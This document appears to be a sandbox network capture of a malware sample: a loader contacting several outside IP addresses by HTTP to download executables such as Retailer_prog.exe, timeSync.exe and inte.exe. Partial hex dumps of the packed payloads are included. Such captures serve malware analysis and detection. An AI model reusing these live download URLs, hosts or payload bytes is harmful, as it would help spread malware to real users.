May 24, 2024 13:42:04.052654982 CEST	1236	IN	Data Raw: d3 8b d8 eb 1b 33 db eb 17 3d 1c d2 4f 00 74 07 3d e8 d3 4f 00 75 04 33 db eb 05 bb 67 00 00 00 85 db 74 07 8b c3 e8 9b fe ff ff 8b c3 5b c3 8d 40 00 8b 50 1c e8 b0 ff ff ff c3 8d 40 00 53 56 8b d8 33 f6 66 8b 43 04 66 3d b1 d7 72 2f 66 3d b3 d7 Data Ascii: 3=Ot=Ou3gt[@P@SV3fCf=r/f=w)f%f=uSuS$tKPOtg7^[VW11Fr8wG_^*v3AiS:vB@O[SVW
May 24, 2024 13:42:04.056562901 CEST	1236	IN	Data Raw: 40 00 90 ac 6e 32 78 86 87 48 40 00 b4 57 0a 3f 16 68 a9 4b 40 00 a1 ed cc ce 1b c2 d3 4e 40 a0 84 14 40 61 51 59 84 52 40 c8 a5 19 90 b9 a5 6f a5 55 40 3a 0f 20 f4 27 8f cb ce 58 40 84 09 94 f8 78 39 3f 81 5c 40 e5 0b b9 36 d7 07 8f a1 5f 40 df Data Ascii: @n2xH@W?hK@N@@aQYR@oU@: 'X@x9?\@6_@Ngb@"E@\|oe@p+i@Ix@=AGA+BkU'9p\|B0<RB~QC/j\&Cv)/&D'DDYdEJzEb
May 24, 2024 13:42:04.056600094 CEST	1236	IN	Data Raw: 40 00 85 c0 74 16 89 c1 8b 09 39 d1 74 0e 8b 49 dc 85 c9 75 f3 b0 0a e9 d6 f4 ff ff c3 90 57 96 eb 02 8b 36 8b 7e d0 85 ff 74 0d 0f b7 0f 51 83 c7 02 f2 66 af 74 0a 59 8b 76 dc 85 f6 75 e3 5f c3 58 01 c0 29 c8 8b 74 47 fc 5f c3 8b c0 50 51 8b 00 Data Ascii: @t9tIuW6~tQftYvu_X)tG_PQYXtYV^uY9t@u@@@Vf2ftfsPXXt^^aSVW11ptf>N
May 24, 2024 13:42:04.058455944 CEST	1236	IN	Data Raw: 32 fd ff ff 80 3d 2c b0 4f 00 00 76 1e 80 3d 28 b0 4f 00 00 77 15 8d 4c 24 04 50 51 e8 f1 d9 ff ff 83 f8 00 58 0f 84 9f 00 00 00 89 c2 8b 44 24 14 8b 48 0c eb 27 80 3d 2c b0 4f 00 01 76 1e 80 3d 28 b0 4f 00 00 77 15 50 8d 44 24 08 52 51 50 e8 bd Data Ascii: 2=,Ov=(OwL$PQXD$H'=,Ov=(OwPD$RQPYZXtm1dSPRQT$(HVjPh;@RO[\|$(>.oG;@D$c#.AD$T$@tJBL<@SVWUj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	176.111.174.109	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.037651062 CEST	199	OUT	HEAD /pelikan HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 176.111.174.109 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	147.45.47.149	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.037715912 CEST	209	OUT	HEAD /vape/niko.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 147.45.47.149:54674 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	5.42.66.10	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.037807941 CEST	209	OUT	HEAD /download/th/retail.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 13:42:03.801188946 CEST	395	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Description: File Transfer Content-Disposition: attachment; filename=Retailer_prog.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Content-Length: 4795544 Content-Type: application/octet-stream
May 24, 2024 13:42:03.802109957 CEST	208	OUT	HEAD /download/th/space.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 13:42:04.040358067 CEST	391	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Description: File Transfer Content-Disposition: attachment; filename=default_s.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Content-Length: 4815512 Content-Type: application/octet-stream
May 24, 2024 13:42:04.041316986 CEST	208	OUT	GET /download/th/retail.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 13:42:04.302551031 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Description: File Transfer Content-Disposition: attachment; filename=Retailer_prog.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Content-Length: 4795544 Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 92 10 00 00 00 00 00 15 33 53 00 00 10 00 00 00 d0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 7c 00 00 04 00 00 69 0c 4a 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 74 91 4c 00 40 01 00 00 00 b0 6f 00 f6 2d 0d 00 00 00 00 00 00 00 00 00 00 b8 48 00 98 74 00 00 00 a0 6f 00 c8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 fe 33 00 20 00 00 00 b0 8d 6f 00 40 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELiLf'3S@\|iJ@tL@o-Hto3 o@ U(#D@.text `.rdata2~@@.data0IP@.vmpx``.vmpu> 1v>``.relocoz>@@.rsrc-o8>@@
May 24, 2024 13:42:04.302583933 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ""8%d;Hj4ZLjsE@NOfqT?nGc\1r}^]ET
May 24, 2024 13:42:04.303533077 CEST	1236	IN	Data Raw: c8 34 71 ed f8 33 06 57 a9 3a 9f c1 99 3d e8 62 0c 59 76 f4 3c 5e 01 4e 6d 57 98 d8 5d 50 ef 2d 50 58 62 bb 60 5f 15 01 31 56 8c 97 01 51 fb 34 94 35 65 a2 a4 32 12 18 f5 3b 8b 8e c5 3c fc 1f d8 83 6c 89 e8 84 1b 33 b9 8d 82 a5 89 8a f5 06 1c ee Data Ascii: 4q3W:=bYv<^NmW]P-PXb`_1VQ45e2;<l3k,*}M`DP3;1C4"ZJ%]=TS,7M<0:M9}>p6Ys@1.8_!?[^j\)UFRWA m<PX']tmoC}F
May 24, 2024 13:42:04.303560972 CEST	1236	IN	Data Raw: 1b c8 8d ad fc ff ff ff 81 fc 0a 7f 84 3f 8b 4c 25 00 66 f7 c4 d8 1e 33 cb 81 ff fc 15 30 1b e9 dd 37 12 00 66 8b 54 25 00 66 8b 45 02 8d ad fe ff ff ff 66 3b c7 f9 66 f7 d2 66 f7 d0 66 85 dd 66 23 d0 66 89 55 04 9c c0 ec 89 f6 d4 0f ac e8 14 8f Data Ascii: ?L%f307fT%fEf;ffff#fUD%fRffCfQfy=Wff03SD1,$[fAiMc%B/~McIU=L%ffU=ktdf+u;
May 24, 2024 13:42:04.303567886 CEST	256	IN	Data Raw: 5f cb 04 be 97 8e b2 47 41 28 0f 54 e4 44 28 ac 23 f3 4e a8 58 7c 1f b0 17 bf 3d dd 66 28 81 00 99 8c 17 ad 33 8c 8b 57 8d f6 95 76 e8 eb d0 d0 62 a8 44 b6 aa bb cf 5e 69 31 83 8f 56 22 be d3 2a ae 8b 9c 97 8d 71 b7 77 af e2 13 b6 7f 48 6d a6 4f Data Ascii: _GA(TD(#NX\|=f(3WvbD^i1V"*qwHmOi$+@[( "19xHeECxp}dD((Vq1(Ou5]`2Wy)<)(g\h6tW3hY`%Q=i%
May 24, 2024 13:42:04.419958115 CEST	1236	IN	Data Raw: 35 53 08 75 bc a8 01 40 f3 fe 69 f0 11 ca f9 2d ec 0d 30 1d 00 2e fa 3c d9 52 48 21 18 67 9d e3 79 78 1e 3b 88 4f d4 c9 d1 b2 b0 24 66 a1 68 76 58 37 5d 17 b3 38 14 1d 89 dc e9 b9 3f d7 a6 45 d7 fa da 66 77 78 38 c4 c1 93 05 59 e2 a4 49 ed 43 7b Data Ascii: 5Su@i-0.<RH!gyx;O$fhvX7]8?Efwx8YIC{@M?6Do\|x+DU(<,,LRo %W`[*Hu8m3V/`mH\`( `Q]{pt\|$AhbI6)log=
May 24, 2024 13:42:04.420001984 CEST	1236	IN	Data Raw: b6 fc ff ff ff 66 81 f2 48 1e 66 99 8b 16 80 fa 37 f6 c7 3d 33 d3 e9 75 20 13 00 ff d0 8b 6c 25 fc 66 0f 43 d0 80 c3 7a 89 44 25 00 0f c1 f2 66 87 fe 66 0f a4 e6 79 5b 2b d7 66 c1 ef e0 81 f6 87 17 41 55 5f 66 c1 ea 60 f5 66 0f a4 fe 4c 5e fe c2 Data Ascii: fHf7=3u l%fCzD%ffy[+fAU_f`fL^f3BUD%B:3v:;3<AfPP'\K,#63iUf2Jf;ffO]3
May 24, 2024 13:42:04.420036077 CEST	1236	IN	Data Raw: d6 56 bc df e8 89 ab 55 8b 7e ea 88 8f d5 12 92 e6 00 8d 98 12 7c 72 58 11 36 00 0f 44 7f c3 03 e9 fd 9f 19 dd f0 03 19 2b 30 8c e8 7c 2e 28 7c 99 a7 8d 5c 17 e4 06 b5 89 ec 6e d2 7d 10 18 07 e8 45 fb 96 ad 53 6d b4 02 bd 83 aa 53 79 45 fc a1 dd Data Ascii: VU~\|rX6D+0\|.(\|\n}ESmSyE!<`>h(x$@^8B%=I@&V*BA{Qd@$IW`u<\W:6nj-U:}\|c\|l`y\|C&V%`MS$
May 24, 2024 13:42:04.420577049 CEST	1236	IN	Data Raw: 59 c8 bc 26 46 a5 45 3f 46 d1 84 b8 63 c3 c2 b4 0b 66 bb e3 b6 f8 19 5c 9f df 32 46 06 61 d9 53 46 56 bd 94 a8 b9 b7 0c 35 56 46 44 d7 51 a0 b9 72 b9 13 81 b9 71 62 f8 4e 46 fb 4c 60 6e 46 57 14 83 51 b9 9b 94 9d 33 ba 42 1d f3 62 46 c4 d7 cd c4 Data Ascii: Y&FE?Fcf\2FaSFV5VFDQrqbNFL`nFWQ3BbF2e^Fd'LCVFwFMBtrOdF3%!p@\Z}w;7flIff\|x/"3w[%Htif:{RFY,E
May 24, 2024 13:42:04.421406984 CEST	1236	IN	Data Raw: 99 63 63 56 2c d7 99 63 84 36 7f 46 34 f9 9b 63 c5 1c 5b d3 19 81 ff 76 2a 66 2a 09 77 81 b9 bc 47 35 a0 b9 93 84 de 6f 46 69 02 46 4f 46 69 3a a5 70 b9 f1 32 bb 12 ba 9c ab d5 43 46 3a d1 eb e5 b9 70 3f ed 84 b9 68 a3 a0 7f 46 95 ca 01 81 b9 d6 Data Ascii: ccV,c6F4c[vfwG5oFiFOFi:p2CF:p?hFewFh'VF$bTrFEP{1FnFi:i%f5fVFB?f,S#]"w#f&Qvfb9z1CYN8
May 24, 2024 13:42:04.421439886 CEST	1236	IN	Data Raw: cc 40 d0 ce 40 80 ee 72 4d 63 e3 44 0f b7 e5 40 f6 d6 66 41 0f cc 4c 63 e4 45 87 e4 40 fe ce f5 41 0f 93 c4 40 d0 c6 66 45 0f ac f4 b2 40 80 f6 52 66 41 d3 dc e9 16 25 18 00 f5 81 fb f9 6a 57 58 81 eb 01 00 00 00 e9 b7 af 02 00 66 f7 c6 42 58 81 Data Ascii: @@rMcD@fALcE@A@fE@RfA%jWXfBXnP(D8_<@Uf]]f^=ErM~3;[ff:]fZFW]_ffXf(^Y3#f
May 24, 2024 13:42:08.182714939 CEST	212	OUT	GET /download/th/getimage12.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 13:42:08.435002089 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:08 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Description: File Transfer Content-Disposition: attachment; filename=Default12_s.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Content-Length: 4788376 Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 92 10 00 00 00 00 00 a9 6f 4a 00 00 10 00 00 00 d0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7c 00 00 04 00 00 02 42 49 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 69 6e 00 40 01 00 00 00 60 6f 00 f6 2d 0d 00 00 00 00 00 00 00 00 00 00 9c 48 00 98 74 00 00 00 50 6f 00 b4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 45 6a 00 20 00 00 00 70 40 6f 00 40 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELiLf'oJ@\|BI@Lin@`o-HtPoEj p@o@ O(>j@.text `.rdata2~@@.data0IP@.vmpK``.vmp@X>0Z>``.relocPo^>@@.rsrc-`o8d>@@
May 24, 2024 13:42:11.727576971 CEST	207	OUT	GET /download/th/space.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 13:42:11.948162079 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:11 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Description: File Transfer Content-Disposition: attachment; filename=default_s.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Content-Length: 4815512 Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 92 10 00 00 00 00 00 c7 90 50 00 00 10 00 00 00 d0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 7d 00 00 04 00 00 90 81 49 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f0 46 32 00 40 01 00 00 00 00 70 00 f6 2d 0d 00 00 00 00 00 00 00 00 00 00 06 49 00 98 74 00 00 00 f0 6f 00 88 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 c0 39 00 20 00 00 00 c0 db 6f 00 40 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELiLf'P@0}I@F2@p-Ito9 o@OE@.text `.rdata2~@@.data0IP@.vmp\|``.vmp> 1>``.reloco>@@.rsrc-p8>@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49738	185.172.128.159	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.041934013 CEST	198	OUT	HEAD /dl.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 185.172.128.159 Cache-Control: no-cache
May 24, 2024 13:42:03.728846073 CEST	339	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Description: File Transfer Content-Disposition: attachment; filename=timeSync.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Content-Length: 224256 Content-Type: application/octet-stream
May 24, 2024 13:42:03.729235888 CEST	197	OUT	GET /dl.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 185.172.128.159 Cache-Control: no-cache
May 24, 2024 13:42:04.013601065 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Description: File Transfer Content-Disposition: attachment; filename=timeSync.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Content-Length: 224256 Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bf fa 9a c6 fb 9b f4 95 fb 9b f4 95 fb 9b f4 95 f6 c9 2b 95 e1 9b f4 95 f6 c9 14 95 82 9b f4 95 f6 c9 15 95 dc 9b f4 95 f2 e3 67 95 fc 9b f4 95 fb 9b f5 95 99 9b f4 95 4e 05 15 95 fa 9b f4 95 f6 c9 2f 95 fa 9b f4 95 4e 05 2a 95 fa 9b f4 95 52 69 63 68 fb 9b f4 95 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 c7 b0 af 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 52 88 02 00 00 00 00 97 3e 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 89 02 00 04 00 00 18 d4 03 00 02 00 00 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$+gN/N*RichPELcR>@`hP,i^@`.text? `.rdatapr@@.data4z\@.rsrc@@
May 24, 2024 13:42:04.014178991 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Gh!@YCh+@Y?h5@YjTjGj:j-
May 24, 2024 13:42:04.014214993 CEST	1236	IN	Data Raw: 00 03 47 10 3b 44 24 08 76 04 b0 01 eb 02 32 c0 5f c2 04 00 83 79 14 10 72 09 8b 09 e8 26 fc ff ff 8b c8 8b c1 c3 83 79 14 10 72 09 8b 09 e8 14 fc ff ff 8b c8 8b c1 c3 55 8b ec 80 7d 08 00 56 8b f1 74 3c 83 7e 14 10 72 36 83 7d 0c 00 53 8b 1e 76 Data Ascii: G;D$v2_yr&yrU}Vt<~r6}SvuPVsF@PSEPl[uF^]hAhAL$3oUSVMW];rhM+9}B};uu
May 24, 2024 13:42:04.014249086 CEST	1236	IN	Data Raw: 19 00 00 cc 56 8b f1 8b 4c 24 08 e8 eb fc ff ff 50 8b ce e8 87 f8 ff ff 5e 84 c0 74 14 8b 4c 24 04 e8 69 03 00 00 3b 44 24 08 75 05 33 c0 40 eb 02 33 c0 c2 08 00 55 8b ec 51 51 ff 75 0c 8b 01 8d 55 f8 ff 75 08 52 ff 50 0c 8b c8 e8 5a f8 ff ff 8b Data Ascii: VL$P^tL$i;D$u3@3UQQuUuRPZ]D$V9FrP^YSVW\|$^;r@Ul$+;wW"t#++Q(QPS]_^[4D$8u3P}Y
May 24, 2024 13:42:04.019380093 CEST	1236	IN	Data Raw: f8 e8 f4 1d 0f 81 45 f8 15 dd c5 70 81 6d fc eb ce 6b 10 81 45 fc f3 22 55 10 81 6d fc 7a 26 69 3e 81 45 f0 56 07 5c 64 81 6d f8 3b 19 89 59 81 45 fc ab 2d b0 69 b8 6b 22 74 01 f7 65 fc 8b 45 fc 81 6d f4 54 c5 41 44 81 45 d0 0d 38 2a 40 b8 eb 05 Data Ascii: EpmkE"Umz&i>EV\dm;YE-ik"teEmTADE8@zeE8Y<6eEELE\|_mYEEf7E@!=8eEmut1zyeEmMnEl9eEmmk`m09E^m?OsRZeE
May 24, 2024 13:42:04.019417048 CEST	1236	IN	Data Raw: 01 8d 45 fc c7 45 fc d8 03 41 00 50 8d 4d f0 e8 e1 1b 00 00 68 5c 63 41 00 8d 45 f0 c7 45 f0 d0 03 41 00 50 e8 af 14 00 00 cc e9 e5 1d 00 00 56 6a 04 6a 20 e8 45 21 00 00 59 59 8b f0 56 ff 15 74 00 41 00 a3 b0 b4 c8 02 a3 ac b4 c8 02 85 f6 75 05 Data Ascii: EEAPMh\cAEEAPVjj E!YYVtAujX^&3^jhHdA!eeu#YuE"u`UQSV5xAW55EE;+OrvPl GY;sG;s
May 24, 2024 13:42:04.028434038 CEST	1236	IN	Data Raw: 01 8b 44 24 0c 5e 5f c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 44 24 0c 5e 5f c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 14 29 40 00 8b ff f7 d9 ff 24 8d c4 28 Data Ascii: D$^_IFGFGD$^_t1\|9u$r$)@$(@Ir+$(@$)@((@L(@t(@F#Gr$)@IF#GFGr$)@F#GFGFGV
May 24, 2024 13:42:04.028469086 CEST	1236	IN	Data Raw: 74 95 c8 02 00 0f 83 a7 01 00 00 f7 c7 03 00 00 00 0f 85 b8 01 00 00 f7 c6 03 00 00 00 0f 85 97 01 00 00 0f ba e7 02 73 0d 8b 06 83 e9 04 8d 76 04 89 07 8d 7f 04 0f ba e7 03 73 11 f3 0f 7e 0e 83 e9 08 8d 76 08 66 0f d6 0f 8d 7f 08 f7 c6 07 00 00 Data Ascii: tsvs~vftcfoNvfo^0foF fon0v00fof:ffof:fGfof:fo 0}vfoNvIfo^0foF fon0v00fof:ffof:
May 24, 2024 13:42:04.028501987 CEST	512	IN	Data Raw: 00 00 00 57 8b c6 83 e0 0f 85 c0 0f 85 d2 00 00 00 8b d1 83 e1 7f c1 ea 07 74 65 8d a4 24 00 00 00 00 90 66 0f 6f 06 66 0f 6f 4e 10 66 0f 6f 56 20 66 0f 6f 5e 30 66 0f 7f 07 66 0f 7f 4f 10 66 0f 7f 57 20 66 0f 7f 5f 30 66 0f 6f 66 40 66 0f 6f 6e Data Ascii: Wte$fofoNfoV fo^0ffOfW f_0fof@fonPfov`fo~pfg@foPfw`fpJutOtfofvJut*tvIutFGIuX^_$++Q
May 24, 2024 13:42:04.029083014 CEST	1236	IN	Data Raw: 00 00 56 8b f8 e8 07 1d 00 00 56 e8 f8 19 00 00 50 e8 86 1b 00 00 83 c4 10 85 c0 79 05 83 cf ff eb 13 83 7e 1c 00 74 0d ff 76 1c e8 68 0d 00 00 83 66 1c 00 59 83 66 0c 00 8b c7 5f 5e 5d c3 6a 0c 68 68 64 41 00 e8 98 11 00 00 83 cf ff 89 7d e4 33 Data Ascii: VVPy~tvhfYf_^]jhhdA}3uu\F@tfV=YeV?Y}Eu}VYU}MESVWMEt]tuY3_^[
May 24, 2024 13:42:04.029119015 CEST	1236	IN	Data Raw: 89 6c 24 0c 8d 6c 24 0c 50 c3 55 8b ec 56 fc 8b 75 0c 8b 4e 08 33 ce e8 91 07 00 00 6a 00 56 ff 76 14 ff 76 0c 6a 00 ff 75 10 ff 76 10 ff 75 08 e8 87 42 00 00 83 c4 20 5e 5d c3 55 8b ec 51 53 fc 8b 45 0c 8b 48 08 33 4d 0c e8 5e 07 00 00 8b 45 08 Data Ascii: l$l$PUVuN3jVvvjuvuB ^]UQSEH3M^E@ftE@$3@ljjEpEpEpjuEpu*B Ex$uuu-jjjjjEPh#E]ck 3@[]UBMe3ME

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49739	5.42.65.64	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.042011976 CEST	208	OUT	HEAD /download.php?pub=inte HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.65.64 Cache-Control: no-cache
May 24, 2024 13:42:03.724212885 CEST	353	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:03 GMT Server: Apache/2.4.52 (Ubuntu) Pragma: public Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Cache-Control: private Content-Disposition: attachment; filename="inte.exe"; Content-Transfer-Encoding: binary Content-Length: 225280 Content-Type: application/octet-stream
May 24, 2024 13:42:03.724751949 CEST	207	OUT	GET /download.php?pub=inte HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.65.64 Cache-Control: no-cache
